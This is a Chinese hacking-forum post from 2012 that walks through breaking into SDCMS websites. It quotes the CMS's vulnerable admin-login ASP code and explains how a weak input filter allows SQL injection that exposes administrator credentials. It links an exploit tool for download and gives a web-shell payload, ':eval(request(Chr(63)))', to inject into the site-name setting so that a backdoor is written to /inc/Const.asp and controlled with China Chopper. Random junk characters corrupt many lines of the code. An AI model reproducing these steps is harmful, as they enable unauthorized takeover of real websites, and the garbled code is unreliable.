找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3252|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥, I6 @' D* r5 z0 S1 \3 ^8 n
漏洞文件:后台目录/index.asp
& R! A4 `0 p; ?$ J! G6 i7 }4 \4 r% h1 l. J1 F
Sub Check% t& B( L' T; b
    Dim username,password,code,getcode,Rs/ X  r0 G0 J. u+ O" t
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
6 M, m# B3 U+ y    username=FilterText(Trim(Request.Form("username")),1)
3 `6 R3 r) ?2 N- }: Z: O    password=FilterText(Trim(Request.Form("password")),1)4 b( t! Q( U; T5 M, s! c* S
    code=Trim(Request.Form("yzm"))
, \& ^5 [7 @' E; |* H! S( U% P    getcode=Session("SDCMSCode")
5 ?2 {7 S2 q! M9 ^1 O' f7 r    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died1 @% N) p2 Q5 _+ |0 c
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
; t' T, i# w' |0 ?    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied" X0 ]# n6 ]; J3 |+ w( F. ~
    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied, C, e. B* `8 r
    IF username="" or password="" Then9 i, J  L9 x0 X6 ]% ?
        Echo "用户名或密码不能为空"ied
( d# o1 j& Z8 P( I    Else
& \/ Z7 m7 _- Q, o        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")  s. @; d! A3 h$ ^% F. ?0 E
        IF Rs.Eof Then/ c9 m: }# \  p9 a
            AddLog username,GetIp,"登录失败",1
. J; K4 P/ Z0 X% S  a5 E2 m            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
8 Z7 P; l, y# A        Else
) K, }+ _; L) C            Add_Cookies "sdcms_id",Rs(0)/ L# z( W2 z$ Z! G, }/ G
            Add_Cookies "sdcms_name",username; w& Q9 _- w! Q, v" i7 [% ?
            Add_Cookies "sdcms_pwd",Rs(2)
% ]) H8 T( L; y; ?/ ?            Add_Cookies "sdcms_admin",Rs(3)" q) W. v" T% V, T  D- F  p0 U
            Add_Cookies "sdcms_alllever",Rs(4)  t: p2 T1 [, s2 l% n3 E% _. ]- ^
            Add_Cookies "sdcms_infolever",Rs(5)
! n+ x/ S4 v5 ~3 O  e2 b7 X            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
+ U$ M9 Y+ J6 ~! c! V            AddLog username,GetIp,"登录成功",1
# c; }: l% c+ ~7 [/ G+ ~            '自动删除30天前的Log记录6 `! H# G6 M; w/ d
            IF Sdcms_DataType Then
7 g" `7 I# V5 ~' K) T1 u" B. [                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")* z% `7 d2 O+ K% t0 M; f
            Else- T" T2 q+ S- w1 d9 j- B' I4 ]+ ~
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")* ^: F/ V5 l) ^
            End IF
/ }# K& D7 V! d* X            Go("sdcms_index.asp")4 D$ ~1 L- k* o4 R) F) Q, q: v
        End IF
8 V" i0 {' ]; h        Rs.Close
3 l& O2 e7 I4 W6 k        Set Rs=Nothing
* _. Q( k( q! R/ p    End IF# {7 n7 C0 Y+ D$ H$ v0 Q, p# @
End Sub9 H  `, z8 g3 E! c; ]6 I, }6 @, I) f
/ J( u2 _& D$ e
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码1 J% n2 ~" D6 B4 ]% d
0 {& s( r. k1 s- f, G3 g& E
Function FilterText(ByVal t0,ByVal t1)! R  m, e4 D- d$ B% ^) S" i
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
$ B; D3 F4 W$ {0 Z' P( `    t0=Trim(t0)9 Q. l) n8 v4 a( a5 e% W
    Select Case t1% g: x6 t. M9 o0 w% ^8 i
        Case "1"
: d- H' ~+ _7 N# z. S5 _' H6 H            t0=Replace(t0,Chr(32),"")
  L8 u( n' H% s: S* o            t0=Replace(t0,Chr(13),""). }  m1 t+ F) }! U4 J' z: |, P
            t0=Replace(t0,Chr(10)&Chr(10),"")
- {( U% D4 ]6 T            t0=Replace(t0,Chr(10),"")
1 j2 _/ p1 R  B0 |        Case "2"4 E/ M' O$ R# I$ ?3 ~" w) d- a- V
            t0=Replace(t0,Chr(8),"")'回格
! K! _/ K+ s- A6 }! _            t0=Replace(t0,Chr(9),"")'tab(水平制表符)9 \, S" H$ c; K
            t0=Replace(t0,Chr(10),"")'换行$ A5 [' ?/ u4 N9 y% l  e6 l
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)0 G3 N( d' `0 c( V- I, m2 x: h. q
            t0=Replace(t0,Chr(12),"")'换页$ ]2 W. K) G2 ]/ g4 S  O
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合/ W; N1 {: Y4 P
            t0=Replace(t0,Chr(22),"")2 L6 k% s7 T/ L# g2 O& r1 y6 D; x
            t0=Replace(t0,Chr(32),"")'空格 SPACE# k" E4 Z) a4 {
            t0=Replace(t0,Chr(33),"")'!
) e) c0 P5 l4 O, H( n' s. K            t0=Replace(t0,Chr(34),"")'"
& ]7 x3 ?+ M: {* w1 h8 F; N, b            t0=Replace(t0,Chr(35),"")'#
9 K9 y- o0 N$ m) I- T            t0=Replace(t0,Chr(36),"")'$
/ }( l( P9 F2 u# Q( R9 T            t0=Replace(t0,Chr(37),"")'%
0 ]5 f2 b  L$ b- S) N+ T5 E3 E/ H            t0=Replace(t0,Chr(38),"")'&
( G; x0 l/ i2 B' {+ D) A            t0=Replace(t0,Chr(39),"")''
. f: n) t: Y1 G            t0=Replace(t0,Chr(40),"")'(3 C9 I9 V: D0 P: d; ~& y
            t0=Replace(t0,Chr(41),"")'); g) d5 K7 m, b8 ?) |! c. }
            t0=Replace(t0,Chr(42),"")'*$ ?1 K, G! _6 J0 u$ ?( P, `8 ^
            t0=Replace(t0,Chr(43),"")'+2 G4 T0 i% r: v8 ^; a' a
            t0=Replace(t0,Chr(44),"")',$ M" [) ?9 k6 l, Z9 G
            t0=Replace(t0,Chr(45),"")'-
8 c8 [$ R2 V* h( |4 ?  ]# R! ~  e            t0=Replace(t0,Chr(46),"")'.) @+ {$ N! @, T! w: {( m2 i
            t0=Replace(t0,Chr(47),"")'/! j' \/ |2 ~; D& W: ~( [* u4 [
            t0=Replace(t0,Chr(58),"")':# V9 v2 h" G. }# V' n' b' M
            t0=Replace(t0,Chr(59),"")';
  V2 ]9 r: ^) Y/ z' }            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
* P$ q1 ^( M" E/ z7 W            t0=Replace(t0,Chr(63),"")'?' p3 L  Z4 M: Y" v' \
            t0=Replace(t0,Chr(64),"")'@$ L+ L* L$ u# |+ p* m& [
            t0=Replace(t0,Chr(91),"")'\
2 r. Z/ G% T7 u% t2 ?            t0=Replace(t0,Chr(92),"")'\
) t$ M, z2 i! v1 C            t0=Replace(t0,Chr(93),"")']5 }0 K/ w$ H9 S* }2 E' @$ o* q# L7 _
            t0=Replace(t0,Chr(94),"")'^
0 B& W4 i6 k! x            t0=Replace(t0,Chr(95),"")'_
+ ^# ^% @# S4 U            t0=Replace(t0,Chr(96),"")'`+ F9 `3 r8 c* {5 M
            t0=Replace(t0,Chr(123),"")'{
! I6 Q% p. X+ @+ c6 Q! X            t0=Replace(t0,Chr(124),"")'|( N0 a5 A0 i& l( u- {
            t0=Replace(t0,Chr(125),"")'}+ r6 F7 j% |- N2 X. D
            t0=Replace(t0,Chr(126),"")'~
& V( W8 ^7 L* J    Case Else
' b: o& v! T2 f0 v/ J        t0=Replace(t0, "&", "&")' U+ }- z9 R$ w
        t0=Replace(t0, "'", "'"). \8 Q3 B6 Q6 Q% F% u* ]+ e$ S
        t0=Replace(t0, """", """)9 p: A, l7 ]/ ~) J
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
* O: W' q" U1 o. l! Z) ?- C, r    End Select7 i% h4 z& i4 o3 U3 P0 d4 ]( I
    IF Instr(Lcase(t0),"expression")>0 Then( g5 {5 b' D! o
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
8 J: d+ x8 H' t8 H- ]    End If- H+ `9 h$ }1 V5 p
    FilterText=t0) w) `/ `4 Q% T8 [
End Function
" M# u; Q: [8 Q" @. Y; b( d/ b1 s# V" r/ L- m$ u0 p4 q
看到没。直接参数是1 只过滤* q  V3 S0 T4 ?2 T3 ]
                        t0=Replace(t0,Chr(32)," "). h4 o4 N6 }$ Z/ c" B
                        t0=Replace(t0,Chr(13),"")
1 u1 e* Z' a+ C' ^                        t0=Replace(t0,Chr(10)&Chr(10),". T# |: H) v: W+ g4 G# M
"); l* s0 [- x# i2 B& L% b. ^5 `
                        t0=Replace(t0,Chr(10),"
9 k6 ^# M1 }; `5 N; h" R: ^")
$ D+ D1 ?1 m. n, W  R2 u漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!$ x! X% ]0 R: V" A. s" I( q! Z2 R4 a) q1 y
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
) q: w6 Y& ?1 H! d8 k3 E/ T& @- E$ @" C0 n
测试:, ]5 U% k% H0 \5 Q: I; ?4 G

( H2 Y7 d/ {: @4 V
3 Y* T7 ]( p8 r$ j8 c现在输入工具上验证码,然后点OK
3 W5 X; R4 d7 U2 s# C9 s" M, l5 {! ?( G: u! H
% r' `! n0 B3 a8 p
看到我们直接进入后台管理界面了,呵呵!
8 ]% ?$ }5 \, d% U: P) c5 t9 k* s  L5 N" Q% X: O

; l( \, b; R0 _; o% _8 Y! C/ A# N8 u
6 z/ ~* m) f) H- R& i  L# N这样直接进入后台了。。。。6 ~0 `9 C0 ?. l- @0 p2 G
& W8 ^% w* p, r# N5 L8 M
9 A4 S3 N' w7 g- S# h
2 X; K5 S5 Y% T  N& [# \
SDCMS提权:: s* |' l8 x3 Z. M
$ ]4 n0 m$ E7 b0 v4 l
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
( i3 V, t' @& s( S- s; y2 |
1 O" D; R, k; o5 V
- L+ y3 k( g4 t7 L. H1 a* _8 [3 t1 [8 q/ V1 ?- P
OK,现在用菜刀连接下!& m- Z/ X# }4 v4 g$ m" z
, S( f* z$ l& p, U- B9 F" Q
8 t0 K: ]+ p" h1 c0 e' x

7 @' [! Z+ J* ], i4 k: f- k, |/ H
5 E& {$ {, g+ S6 P
' F5 j8 q. n9 `: U8 G) _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表